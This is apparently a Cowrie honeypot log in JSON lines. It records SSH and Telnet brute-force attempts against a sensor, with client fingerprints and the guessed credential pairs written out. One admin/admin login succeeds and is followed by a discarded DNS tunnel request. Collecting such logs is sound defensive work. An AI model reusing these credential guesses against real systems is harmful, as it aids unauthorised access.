{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:20.798530Z","src_ip":"122.168.194.41","session":"8e868c216bed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"root","message":"login attempt [postgres/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:21.937016Z","src_ip":"122.168.194.41","session":"8e868c216bed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:23.217793Z","src_ip":"122.168.194.41","session":"8e868c216bed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.913689374923706,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:23.945698Z","src_ip":"128.199.8.54","session":"c5855e178395","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51534,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dcf0f49c054","protocol":"telnet","message":"New connection: 128.199.8.54:51534 (159.203.135.109:23) [session: 4dcf0f49c054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:27.266803Z"}
{"eventid":"cowrie.session.closed","duration":62.19648718833923,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:27.279325Z","src_ip":"212.55.149.117","session":"bb8c2659da7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.7291305065155,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:42.270509Z","src_ip":"128.199.8.54","session":"4295ed2b4b28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.27542185783386,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:42.764120Z","src_ip":"128.199.8.54","session":"b0f2ed777f22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.076427936553955,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:45.814893Z","src_ip":"212.55.149.117","session":"1dc4268ccc9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42790,"dst_ip":"159.203.135.109","dst_port":23,"session":"db16f07e8e98","protocol":"telnet","message":"New connection: 128.199.8.54:42790 (159.203.135.109:23) [session: db16f07e8e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:52:53.814114Z"}
{"eventid":"cowrie.session.closed","duration":60.145233154296875,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:00.903907Z","src_ip":"212.55.149.117","session":"36208fbec3ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.52595543861389,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:02.792672Z","src_ip":"128.199.8.54","session":"4dcf0f49c054","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":47672,"dst_ip":"10.17.0.5","dst_port":22,"session":"609ea00a6625","protocol":"ssh","message":"New connection: 103.15.226.202:47672 (10.17.0.5:22) [session: 609ea00a6625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:05.044742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:05.049601Z","src_ip":"103.15.226.202","session":"609ea00a6625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:05.298294Z","src_ip":"103.15.226.202","session":"609ea00a6625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42574,"dst_ip":"159.203.135.109","dst_port":23,"session":"681c7b6ca542","protocol":"telnet","message":"New connection: 128.199.8.54:42574 (159.203.135.109:23) [session: 681c7b6ca542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:05.918032Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsxcde3","message":"login attempt [root/ZAQ!2wsxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:06.040802Z","src_ip":"103.15.226.202","session":"609ea00a6625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:07.290503Z","src_ip":"103.15.226.202","session":"609ea00a6625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39296,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc7091347395","protocol":"ssh","message":"New connection: 87.251.64.176:39296 (10.17.0.5:22) [session: fc7091347395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:11.562677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:11.567564Z","src_ip":"87.251.64.176","session":"fc7091347395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:11.672241Z","src_ip":"87.251.64.176","session":"fc7091347395","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:11.967099Z","src_ip":"87.251.64.176","session":"fc7091347395","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:12.067051Z","session":"fc7091347395","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:12.165693Z","src_ip":"87.251.64.176","session":"fc7091347395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:12.402132Z","src_ip":"87.251.64.176","session":"fc7091347395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":36960,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a7a0c7f3ddd","protocol":"ssh","message":"New connection: 122.168.194.41:36960 (159.203.135.109:22) [session: 0a7a0c7f3ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:18.924955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:18.929041Z","src_ip":"122.168.194.41","session":"0a7a0c7f3ddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41894,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ac61793bd0f","protocol":"telnet","message":"New connection: 128.199.8.54:41894 (159.203.135.109:23) [session: 1ac61793bd0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:19.078398Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:19.203691Z","src_ip":"122.168.194.41","session":"0a7a0c7f3ddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"111111","message":"login attempt [debian/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:20.331425Z","src_ip":"122.168.194.41","session":"0a7a0c7f3ddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:21.612619Z","src_ip":"122.168.194.41","session":"0a7a0c7f3ddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47392,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b0f7e0ce52d","protocol":"telnet","message":"New connection: 128.199.8.54:47392 (159.203.135.109:23) [session: 0b0f7e0ce52d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:21.877205Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45376,"dst_ip":"159.203.135.109","dst_port":23,"session":"da81e1e87ebb","protocol":"telnet","message":"New connection: 128.199.8.54:45376 (159.203.135.109:23) [session: da81e1e87ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:23.861736Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":27111,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a16cf066dfd","protocol":"telnet","message":"New connection: 212.55.149.117:27111 (10.17.0.5:23) [session: 9a16cf066dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:25.875931Z"}
{"eventid":"cowrie.session.closed","duration":32.440816164016724,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:26.254830Z","src_ip":"128.199.8.54","session":"db16f07e8e98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39680,"dst_ip":"159.203.135.109","dst_port":23,"session":"f78562e25563","protocol":"telnet","message":"New connection: 128.199.8.54:39680 (159.203.135.109:23) [session: f78562e25563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:33.766747Z"}
{"eventid":"cowrie.session.closed","duration":32.149786710739136,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:38.067681Z","src_ip":"128.199.8.54","session":"681c7b6ca542","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49854,"dst_ip":"159.203.135.109","dst_port":23,"session":"3abeb5d7a1d1","protocol":"telnet","message":"New connection: 128.199.8.54:49854 (159.203.135.109:23) [session: 3abeb5d7a1d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:38.266687Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36346,"dst_ip":"159.203.135.109","dst_port":23,"session":"0656dc06a53a","protocol":"telnet","message":"New connection: 128.199.8.54:36346 (159.203.135.109:23) [session: 0656dc06a53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:45.890438Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":47498,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f3867f8e98f","protocol":"telnet","message":"New connection: 180.235.129.180:47498 (10.17.0.5:23) [session: 1f3867f8e98f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:48.212170Z"}
{"eventid":"cowrie.session.closed","duration":33.37721037864685,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:52.455525Z","src_ip":"128.199.8.54","session":"1ac61793bd0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.69835042953491,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:55.575437Z","src_ip":"128.199.8.54","session":"0b0f7e0ce52d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.718719720840454,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:53:56.580341Z","src_ip":"128.199.8.54","session":"da81e1e87ebb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.02968192100525,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:54:08.796336Z","src_ip":"128.199.8.54","session":"f78562e25563","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.37722158432007,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:54:12.643775Z","src_ip":"128.199.8.54","session":"3abeb5d7a1d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":32972,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c10991aa970","protocol":"ssh","message":"New connection: 122.168.194.41:32972 (159.203.135.109:22) [session: 3c10991aa970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:54:19.001914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:54:19.006529Z","src_ip":"122.168.194.41","session":"3c10991aa970","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:54:19.270545Z","src_ip":"122.168.194.41","session":"3c10991aa970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.77062225341797,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:54:19.660944Z","src_ip":"128.199.8.54","session":"0656dc06a53a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa134679","message":"login attempt [ubuntu/Aa134679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:54:20.353554Z","src_ip":"122.168.194.41","session":"3c10991aa970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:54:21.618473Z","src_ip":"122.168.194.41","session":"3c10991aa970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.149.254","src_port":54830,"dst_ip":"159.203.135.109","dst_port":23,"session":"334d5ed32f41","protocol":"telnet","message":"New connection: 176.65.149.254:54830 (159.203.135.109:23) [session: 334d5ed32f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:54:32.444126Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":61223,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d3b9ca365ef","protocol":"telnet","message":"New connection: 212.55.149.117:61223 (10.17.0.5:23) [session: 2d3b9ca365ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:54:48.565304Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54464,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cebe5b26755","protocol":"telnet","message":"New connection: 128.199.8.54:54464 (159.203.135.109:23) [session: 2cebe5b26755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:54:50.292616Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38926,"dst_ip":"159.203.135.109","dst_port":23,"session":"2df0174adcd9","protocol":"telnet","message":"New connection: 128.199.8.54:38926 (159.203.135.109:23) [session: 2df0174adcd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:54:57.524429Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40760,"dst_ip":"159.203.135.109","dst_port":23,"session":"c82cb60478c6","protocol":"telnet","message":"New connection: 128.199.8.54:40760 (159.203.135.109:23) [session: c82cb60478c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:55:00.448540Z"}
